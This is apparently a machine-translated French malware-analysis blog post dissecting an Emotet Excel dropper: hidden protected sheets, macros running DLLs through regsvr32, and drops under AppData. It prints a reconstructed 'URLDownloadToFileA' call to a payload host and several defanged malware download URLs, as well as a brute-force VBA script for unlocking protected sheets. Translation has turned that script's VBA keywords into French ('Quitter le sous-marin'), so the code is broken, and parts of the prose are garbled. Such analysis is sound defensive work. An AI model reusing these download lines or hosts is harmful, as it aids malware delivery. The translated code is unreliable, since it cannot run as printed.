Par Ilan Duhin et Yossi Poberezsky( @pober58 )

Résumé:

Au cours des derniers mois, il y a eu une vaste campagne en Europe, en particulier contre des logiciels malveillants appelés "Emotet". Le logiciel malveillant arrive sous la forme d'un fichier Excel et tente de communiquer avec un certain nombre d'URL et, à la fin, télécharge quatre fichiers DLL sur la machine.

Emotet utilise un appel API de CreateDirectoryA pour créer un dossier dans lequel les fichiers seront enregistrés localement sur l'ordinateur et à partir de là, exécutés via Regsvr32.exe.

Analyse statique :

Outils OLE :

Vérification de la structure du fichier.

Obtenir un indice que nous avons à l'intérieur des feuilles Excel 6.

Vérifiez les capacités du fichier en utilisant malwoverview.py et obtenez des indices.

Entrez dans le troisième flux et extrayez ses cordes.

Trouvez 4 URL suspectes.

Le fichier contient une macro. De plus, recherchez toutes les cellules qui contiennent le code entier.

Analyse dynamique :

Tout d'abord, nous avons essayé d'ouvrir l'excel (partie d'office 2021) nous remarquons qu'il s'est ouvert sans

"Activer le contenu" pop-up. après avoir fait peu de recherches, le message s'affiche uniquement sur les versions 2007-2013 d'office. Après cela, Microsoft bloque l'option d'activation automatique des macros en cours d'exécution.

Pour activer les macros, nous devons changer l'option comme dans l'image ci-dessous :

** dans Office 2007/2013, il fonctionnera en cliquant sur "Activer le contenu"

Besoin de l'enregistrer et de le saisir à nouveau dans un fichier Excel.

Et maintenant…

Lorsque nous appuyons sur le bouton, quatre messages apparaissent.

Lorsque vous cliquez sur regsvr32.exe, vous pouvez voir ces macros l'utiliser pour exécuter le logiciel malveillant. Il agit comme un dropper car il génère un dossier pour y placer sa DLL.

lors de l'ouverture d'Excel et suite à l'enquête statique, on voit 6 feuilles qui se cachaient à la victime.

Chaque feuille nécessite un mot de passe.

Pour extraire le mot de passe, nous utilisons "password breaker for VBA".

Source:https://www.instructables.com/VBA-Code-To-Unlock-A-Locked-Excel-Sheet/

Sub PasswordBreaker()

'Brise la protection par mot de passe de la feuille de calcul.

Dim i comme entier, j comme entier, k comme entier

Dim l comme entier, m comme entier, n comme entier

Dim i1 en tant qu'entier, i2 en tant qu'entier, i3 en tant qu'entier

Dim i4 en tant qu'entier, i5 en tant qu'entier, i6 en tant qu'entier

En cas d'erreur, reprendre le suivant

Pour i = 65 à 66 : Pour j = 65 à 66 : Pour k = 65 à 66

Pour l = 65 à 66 : Pour m = 65 à 66 : Pour i1 = 65 à 66

Pour i2 = 65 à 66 : Pour i3 = 65 à 66 : Pour i4 = 65 à 66

Pour i5 = 65 à 66 : Pour i6 = 65 à 66 : Pour n = 32 à 126

ActiveSheet.Déprotéger Chr(i) & Chr(j) & Chr(k) & _

Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & Chr(i3) & _

Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

Si ActiveSheet.ProtectContents = False Alors

MsgBox "Un mot de passe utilisable est " & Chr(i) & Chr(j) & _

Chr(k) & Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & _

Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

Quitter le sous-marin

Fin si

Suivant : Suivant : Suivant : Suivant : Suivant : Suivant

Suivant : Suivant : Suivant : Suivant : Suivant : Suivant

Sous-titre de fin

Pour insérer notre code VBA, nous devons appuyer sur : ALT + F11, le coller et exécuter.

collez le disjoncteur de mot de passe à l'intérieur de chaque feuille.

Excel nous montre automatiquement le mot de passe pour la feuille demandée.

Nous pouvons le vérifier en appuyant sur le clic droit et voir que la feuille est "protégée".

Données de la feuille 1 :

Données de la feuille 2 :

Lorsque nous réorganisons les chaînes, nous voyons quatre URL :

- URLDownloadToFileA", "JCCB", 0, "https://audioselec.c[o]m/about/dDw5ggtyMojggTqhc

-https://geringer-muehle.[de]/wp-admin/G/

-http://intolove.co.[uk]/wp-admin/FbGhiWtrEzrQ/

-http://isc.net.[ua]/themes/3rU/

Données de la feuille 3 :

Données de la feuille 4 :

Deux autres URL que nous avons vues plus tôt.

Données de la feuille 5 :

Données de la feuille 6 :

Contient les instructions sur la façon de résumer les chaînes.

Analyse DLL :

Numéro de fonction d'exportation 18.

Après avoir utilisé la DLL, nous avons trouvé quelques chaînes intéressantes dans l'onglet mémoire.

De plus, il se dépose lui-même lors de l'exécution sur le chemin suivant :

Lors de l'analyse de la chaîne de mémoire de la DLL dans VT, nous avons obtenu une description d'Emotet.

Conclusion :

· Les macros téléchargent et exécutent le malware Emotet.

· Le fichier Excel utilisant des macros pour accéder aux URL Web.

· Via regsvr32.exe Emotet faisant son exécution.

· Le compte-gouttes Emotet est téléchargé dans un dossier généré de manière aléatoire sous %UserProfile%\Appdata\Local en tant que fichier dll.